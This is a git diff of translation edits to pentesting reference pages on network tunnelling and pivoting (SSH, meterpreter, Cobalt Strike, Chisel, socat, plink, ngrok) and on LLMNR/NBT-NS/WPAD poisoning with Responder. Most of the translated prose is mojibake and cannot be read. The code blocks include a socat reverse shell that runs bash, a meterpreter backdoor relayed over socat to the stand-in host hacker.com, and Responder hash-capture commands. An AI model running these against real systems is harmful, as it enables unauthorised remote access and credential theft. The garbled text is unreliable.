-D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' ### Port2Port -рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ --> рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛрд╕реНрдЯ (рд╕рдХреНрд░рд┐рдп рд╕рддреНрд░) --> рддреАрд╕рд░рд╛_рдмреЙрдХреНрд╕:рдкреЛрд░реНрдЯ +рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ --> рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛрд╕реНрдЯ (рд╕рдХреНрд░рд┐рдп рд╕рддреНрд░) --> Third_box:Port ```bash # Inside a meterpreter session portfwd add -l -p -r @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -рдЯреАрдорд╕рд░реНрд╡рд░ рдореЗрдВ рдПрдХ рдкреЛрд░реНрдЯ рдЦреЛрд▓реЗрдВ рдЬреЛ рд╕рднреА рдЗрдВрдЯрд░рдлреЗрд╕ рдореЗрдВ рд╕реБрди рд░рд╣рд╛ рд╣реИ рдЬрд┐рд╕реЗ **рдмрд┐рдХрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд░реВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЯреАрдорд╕рд░реНрд╡рд░ рдореЗрдВ рдПрдХ рдкреЛрд░реНрдЯ рдЦреЛрд▓реЗрдВ рдЬреЛ рд╕рднреА рдЗрдВрдЯрд░рдлреЗрд╕ рдореЗрдВ рд╕реБрди рд░рд╣рд╛ рд╣реИ рдЬрд┐рд╕реЗ **рдмрд┐рдХрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд░реВрдЯ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -160,7 +160,7 @@ To note: > [!WARNING] > рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, **рдкреЛрд░реНрдЯ beacon рд╣реЛрд╕реНрдЯ рдореЗрдВ рдЦреЛрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ**, Team Server рдореЗрдВ рдирд╣реАрдВ рдФрд░ **рдЯреНрд░реИрдлрд╝рд┐рдХ Cobalt Strike рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ** (Team Server рдХреЛ рдирд╣реАрдВ) рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрд╕реНрдЯ:рдкреЛрд░реНрдЯ рдкрд░ред -``` +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` @@ -175,7 +175,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ## Chisel рдЖрдк рдЗрд╕реЗ [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) рдХреЗ рд░рд┐рд▓реАрдЬрд╝ рдкреГрд╖реНрда рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЖрдкрдХреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛**ред +рдЖрдкрдХреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред** ### socks ```bash @@ -272,11 +272,11 @@ victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` -### Port2Port through socks +### Port2Port socks рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` -### SSL Socat рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Meterpreter +### Meterpreter рдХреЗ рд▓рд┐рдП SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -рдЖрдк рдПрдХ **рдЧреИрд░-рдкреНрд░рдорд╛рдгрд┐рдд рдкреНрд░реЙрдХреНрд╕реА** рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреАрдбрд╝рд┐рдд рдХреЗ рдХрдВрд╕реЛрд▓ рдореЗрдВ рдЕрдВрддрд┐рдо рд▓рд╛рдЗрди рдХреЗ рдмрдЬрд╛рдп рдпрд╣ рд▓рд╛рдЗрди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ: +рдЖрдк рдПрдХ **рдЧреИрд░-рдкреНрд░рдорд╛рдгрд┐рдд рдкреНрд░реЙрдХреНрд╕реА** рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреАрдбрд╝рд┐рдд рдХреЗ рдХрдВрд╕реЛрд▓ рдореЗрдВ рдЕрдВрддрд┐рдо рд▓рд╛рдЗрди рдХреЗ рдмрдЬрд╛рдп рдпрд╣ рд▓рд╛рдЗрди рдЪрд▓рд╛рдХрд░: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` @@ -294,7 +294,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke ### SSL Socat Tunnel -**/bin/sh рдХрдВрд╕реЛрд▓** +**/bin/sh console** рджреЛрдиреЛрдВ рдкрдХреНрд╖реЛрдВ рдкрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛рдПрдВ: рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ ```bash @@ -322,7 +322,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o рдпрд╣ рдПрдХ рдХрдВрд╕реЛрд▓ PuTTY рд╕рдВрд╕реНрдХрд░рдг рдХреА рддрд░рд╣ рд╣реИ (рд╡рд┐рдХрд▓реНрдк ssh рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИрдВ)ред -рдЪреВрдВрдХрд┐ рдпрд╣ рдмрд╛рдЗрдирд░реА рдкреАрдбрд╝рд┐рдд рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рдПрдЧреА рдФрд░ рдпрд╣ рдПрдХ ssh рдХреНрд▓рд╛рдЗрдВрдЯ рд╣реИ, рд╣рдореЗрдВ рдЕрдкрдиреА ssh рд╕реЗрд╡рд╛ рдФрд░ рдкреЛрд░реНрдЯ рдЦреЛрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдо рдПрдХ рд░рд┐рд╡рд░реНрд╕ рдХрдиреЗрдХреНрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред рдлрд┐рд░, рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╕реБрд▓рдн рдкреЛрд░реНрдЯ рдХреЛ рд╣рдорд╛рд░реЗ рдорд╢реАрди рдХреЗ рдПрдХ рдкреЛрд░реНрдЯ рдкрд░ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: +рдЪреВрдВрдХрд┐ рдпрд╣ рдмрд╛рдЗрдирд░реА рдкреАрдбрд╝рд┐рдд рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рдПрдЧреА рдФрд░ рдпрд╣ рдПрдХ ssh рдХреНрд▓рд╛рдЗрдВрдЯ рд╣реИ, рд╣рдореЗрдВ рдЕрдкрдиреА ssh рд╕реЗрд╡рд╛ рдФрд░ рдкреЛрд░реНрдЯ рдЦреЛрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдо рдПрдХ рд░рд┐рд╡рд░реНрд╕ рдХрдиреЗрдХреНрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред рдлрд┐рд░, рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╕реБрд▓рдн рдкреЛрд░реНрдЯ рдХреЛ рд╣рдорд╛рд░реЗ рдорд╢реАрди рдХреЗ рдкреЛрд░реНрдЯ рдкрд░ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -331,7 +331,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0 ### Port2Port -рдЖрдкрдХреЛ рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдХрд┐рд╕реА рднреА рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП) +рдЖрдкрдХреЛ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдХрд┐рд╕реА рднреА рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -364,7 +364,7 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` netstat -antb | findstr 1080 ``` -рдЕрдм рдЖрдк [**Proxifier**](https://www.proxifier.com/) **рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** +рдЕрдм рдЖрдк [**Proxifier**](https://www.proxifier.com/) **рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** ## Windows GUI рдРрдкреНрд╕ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХрд░реЗрдВ @@ -384,7 +384,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) рдпрд╣ рдПрдХ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдкреЛрд░реНрдЯ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдмрд╛рдЗрдВрдб рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдмрд╛рд╣рд░реА рд╕реЗрд╡рд╛ рдХреА рдУрд░ рдЕрдЧреНрд░реЗрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдлрд┐рд░, рдЖрдк рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдиреА рдкрд╕рдВрдж рдХреЗ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд╣ рдкреЛрд░реНрдЯ 443 рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдкреЛрд░реНрдЯ 443 рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред ``` Username Alice Password P@ssw0rd @@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Proxychains DNS рдмрджрд▓реЗрдВ -Proxychains `gethostbyname` libc рдХреЙрд▓ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ TCP DNS рдЕрдиреБрд░реЛрдз рдХреЛ SOCKS рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯрдирд▓ рдХрд░рддрд╛ рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рдХреЗ рд░реВрдк рдореЗрдВ, **DNS** рд╕рд░реНрд╡рд░ рдЬреЛ proxychains рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рд╡рд╣ **4.2.2.2** рд╣реИ (рд╣рд╛рд░реНрдбрдХреЛрдбреЗрдб)ред рдЗрд╕реЗ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ: _/usr/lib/proxychains3/proxyresolv_ рдФрд░ IP рдмрджрд▓реЗрдВред рдпрджрд┐ рдЖрдк **Windows рд╡рд╛рддрд╛рд╡рд░рдг** рдореЗрдВ рд╣реИрдВ, рддреЛ рдЖрдк **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░** рдХрд╛ IP рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +Proxychains `gethostbyname` libc рдХреЙрд▓ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ tcp DNS рдЕрдиреБрд░реЛрдз рдХреЛ socks рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯрдирд▓ рдХрд░рддрд╛ рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рдХреЗ рд░реВрдк рдореЗрдВ, **DNS** рд╕рд░реНрд╡рд░ рдЬреЛ proxychains рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рд╡рд╣ **4.2.2.2** рд╣реИ (рд╣рд╛рд░реНрдбрдХреЛрдбреЗрдб)ред рдЗрд╕реЗ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ: _/usr/lib/proxychains3/proxyresolv_ рдФрд░ IP рдмрджрд▓реЗрдВред рдпрджрд┐ рдЖрдк **Windows рд╡рд╛рддрд╛рд╡рд░рдг** рдореЗрдВ рд╣реИрдВ, рддреЛ рдЖрдк **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░** рдХрд╛ IP рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ## Go рдореЗрдВ рдЯрдирд▓ @@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдПрдХ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдореЗрдВ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред**\ -_Exposition URI рдЗрд╕ рддрд░рд╣ рд╣реИрдВ:_ **UID.ngrok.io** +_рдЙрдЬрд╛рдЧрд░ URI рдЗрд╕ рддрд░рд╣ рд╣реИрдВ:_ **UID.ngrok.io** ### Installation @@ -511,12 +511,12 @@ _рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ, рддреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФ ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` -#### HTTP рдХреЙрд▓ рдХреА рд╕реНрдирд┐рдлрд┐рдВрдЧ +#### HTTP рдХреЙрд▓реНрд╕ рдХреЛ рд╕реНрдирд┐рдлрд╝ рдХрд░рдирд╛ _XSS, SSRF, SSTI ... рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА_\ -stdout рд╕реЗ рд╕реАрдзреЗ рдпрд╛ HTTP рдЗрдВрдЯрд░рдлреЗрд╕ рдореЗрдВ [http://127.0.0.1:4040](http://127.0.0.1:4000)ред +stdout рд╕реЗ рд╕реАрдзреЗ рдпрд╛ HTTP рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдореЗрдВ [http://127.0.0.1:4040](http://127.0.0.1:4000)ред -#### рдЖрдВрддрд░рд┐рдХ HTTP рд╕реЗрд╡рд╛ рдХрд╛ рдЯрдирд▓рд┐рдВрдЧ +#### рдЖрдВрддрд░рд┐рдХ HTTP рд╕реЗрд╡рд╛ рдХреЛ рдЯрдирд▓ рдХрд░рдирд╛ ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index b70d547ce..1d120d2ef 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -1,4 +1,4 @@ -# Spoofing LLMNR, NBT-NS, mDNS/DNS рдФрд░ WPAD рдФрд░ Relay Attacks +# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks {{#include ../../banners/hacktricks-training.md}} @@ -6,10 +6,10 @@ ### Local Host Resolution Protocols -- **LLMNR, NBT-NS, рдФрд░ mDNS**: -- Microsoft рдФрд░ рдЕрдиреНрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо DNS рд╡рд┐рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рд╕реНрдерд╛рдиреАрдп рдирд╛рдо рд╕рдорд╛рдзрд╛рди рдХреЗ рд▓рд┐рдП LLMNR рдФрд░ NBT-NS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕реА рддрд░рд╣, Apple рдФрд░ Linux рд╕рд┐рд╕реНрдЯрдо mDNS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред -- рдпреЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ UDP рдкрд░ рдЕрдкрдиреА рдЕрдирдзрд┐рдХреГрдд, рдкреНрд░рд╕рд╛рд░рдг рдкреНрд░рдХреГрддрд┐ рдХреЗ рдХрд╛рд░рдг рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди рдФрд░ рд╕реНрдкреВрдлрд┐рдВрдЧ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред -- [Responder](https://github.com/lgandx/Responder) рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╣реЛрд╕реНрдЯ рдХреЛ рдЬрд╛рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рднреЗрдЬрдХрд░ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- **LLMNR, NBT-NS, and mDNS**: +- Microsoft рдФрд░ рдЕрдиреНрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо LLMNR рдФрд░ NBT-NS рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд╛рдиреАрдп рдирд╛рдо рд╕рдорд╛рдзрд╛рди рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВ рдЬрдм DNS рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕реА рддрд░рд╣, Apple рдФрд░ Linux рд╕рд┐рд╕реНрдЯрдо mDNS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред +- рдпреЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ UDP рдкрд░ рдЕрдкрдиреА рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдкреНрд░рд╕рд╛рд░рдг рдкреНрд░рдХреГрддрд┐ рдХреЗ рдХрд╛рд░рдг рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди рдФрд░ рд╕реНрдкреВрдлрд┐рдВрдЧ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред +- [Responder](https://github.com/lgandx/Responder) рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЗрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╣реЛрд╕реНрдЯ рдХреЛ рдЬрд╛рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рднреЗрдЬрддрд╛ рд╣реИред - Responder рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реЗрд╡рд╛ рдЕрдиреБрдХрд░рдг рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА [рдпрд╣рд╛рдБ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) рдорд┐рд▓ рд╕рдХрддреА рд╣реИред ### Web Proxy Auto-Discovery Protocol (WPAD) @@ -20,40 +20,40 @@ ### Responder for Protocol Poisoning -- **Responder** рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ LLMNR, NBT-NS, рдФрд░ mDNS рдХреНрд╡реЗрд░реАрдЬрд╝ рдХреЛ рдЬрд╝рд╣рд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдХреНрд╡реЗрд░реА рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЪрдпрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ SMB рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред +- **Responder** рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ LLMNR, NBT-NS, рдФрд░ mDNS рдХреНрд╡реЗрд░реАрдЬрд╝ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдХреНрд╡реЗрд░реА рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЪрдпрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ SMB рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред - рдпрд╣ Kali Linux рдореЗрдВ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдЖрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ `/etc/responder/Responder.conf` рдкрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - Responder рд╕реНрдХреНрд░реАрди рдкрд░ рдХреИрдкреНрдЪрд░ рдХрд┐рдП рдЧрдП рд╣реИрд╢ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ `/usr/share/responder/logs` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕рд╣реЗрдЬрддрд╛ рд╣реИред - рдпрд╣ IPv4 рдФрд░ IPv6 рджреЛрдиреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред -- Responder рдХрд╛ Windows рд╕рдВрд╕реНрдХрд░рдг [рдпрд╣рд╛рдБ](https://github.com/lgandx/Responder-Windows) рдЙрдкрд▓рдмреНрдз рд╣реИред +- Windows рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ Responder [рдпрд╣рд╛рдБ](https://github.com/lgandx/Responder-Windows) рдЙрдкрд▓рдмреНрдз рд╣реИред #### Running Responder - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде Responder рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП: `responder -I ` - рдЕрдзрд┐рдХ рдЖрдХреНрд░рд╛рдордХ рдкреНрд░реЛрдмрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП (рд╕рдВрднрд╛рд╡рд┐рдд рджреБрд╖реНрдкреНрд░рднрд╛рд╡реЛрдВ рдХреЗ рд╕рд╛рде): `responder -I -P -r -v` -- рдЖрд╕рд╛рди рдХреНрд░реИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП NTLMv1 рдЪреБрдиреМрддрд┐рдпреЛрдВ/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреА рддрдХрдиреАрдХреЗрдВ: `responder -I --lm --disable-ess` +- NTLMv1 рдЪреБрдиреМрддрд┐рдпреЛрдВ/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреА рддрдХрдиреАрдХреЗрдВ: `responder -I --lm --disable-ess` - WPAD 